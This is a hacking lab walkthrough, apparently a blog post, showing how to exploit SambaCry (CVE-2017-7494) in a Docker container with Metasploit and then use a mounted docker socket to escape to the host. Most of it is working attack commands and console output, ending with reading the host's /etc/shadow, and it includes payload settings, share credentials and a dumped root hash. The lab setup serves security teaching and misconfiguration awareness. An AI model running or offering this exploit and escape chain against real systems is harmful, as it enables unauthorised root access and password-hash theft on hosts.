Abusing insecure docker deployments

Is possible to abuse misconfigurations and bugs and escape from containers in several scenarios, in this post I will explore the most basic one: abusing the docker socket to escape the container and run code as root in the host machine.

Lab setup

Since we will be using containers, you have to install docker to be able to run this lab.

Create the network

The very first step is to create a docker network where the containers will be created:

docker network create pwnage

Start the vulnerable container

For this example, we will use a container vulnerable to CVE-2017-7494, also known as Samba Cry vulnerability. If you are interested in reading more about it please check this repository opsxcq/exploit-CVE-2017-7494.

This vulnerability allows you to get remote code execution in a Samba server, to complete the setup the docker socket will be added to the container. This will generate a common misconfiguration scenario:

docker run --rm -it \
       --name vulnerable \
       --network pwnage \
       -v '/var/run/docker.sock:/var/run/docker.sock' \
       vulnerables/cve-2017-7494

Start the attacker environment

The very last step in our environment is to add the attacker host to the network. There is an exploit in the Samba Cry repository, but instead we will be using Metasploit because of meterpreter's advanced features which will make the whole process easier. There is an image already build for that, just run the command bellow and everything will run as needed for this lab:

docker run --rm -it \
       --network pwnage \
       -v '/usr/bin/docker:/docker:ro' \
       strm/metasploit

After it is loaded you will be presented to this screen

Attack

Information gathering

In any attack, the first thing to do is to gather information about the target. So let’s first check the connectivity by pinging the vulnerable container.

ping -c 2 vulnerable

If everything is OK you should expect an output like

msf5 > ping -c 2 vulnerable
[*] exec: ping -c 2 vulnerable

PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms

--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

Then we proceed to a basic smb shares enumeration with:

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

The expected output is

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run

[+] 172.20.0.2:139        - data - (DS) Data
[+] 172.20.0.2:139        - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It show us that there is a share named data in this samba server.

Getting access

Next step is to run the exploit against the host so we can obtain a shell. On Metasploit this vulnerability is named is_known_pipename and is located in exploit/linux/samba/is_known_pipename.

Run the command bellow to attack the host:

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

If everything runs fine, you should be presented with a meterpreter shell like:

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable

meterpreter >

Escalating privileges

To escalate privileges we will abuse the docker socket being available inside the container. Since dockerd runs as root in the host machine, it has root permissions so we can abuse it to do several things. For example using --privileged can give you several extended capabilities, the text bellow explaining them was extracted from the official docker documentation:

By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on cgroups devices). When the operator executes docker run –privileged, Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

You can access devices with --device, but in our case, we will map the root file system (/) to the container and have access to it.

Since there is no docker client inside this container, the next step is to setup the docker client and its dependencies inside our target container. Just run the command bellow and everything will be done.

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading  : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded   : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded   : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

And finally, using docker to have access to the host file system.

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

And that is it, you’ve escaped the container and dumped the machine local user hashes, the output will look like:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

References

## STRM ##

A pro-freedom hacktivist thinktank.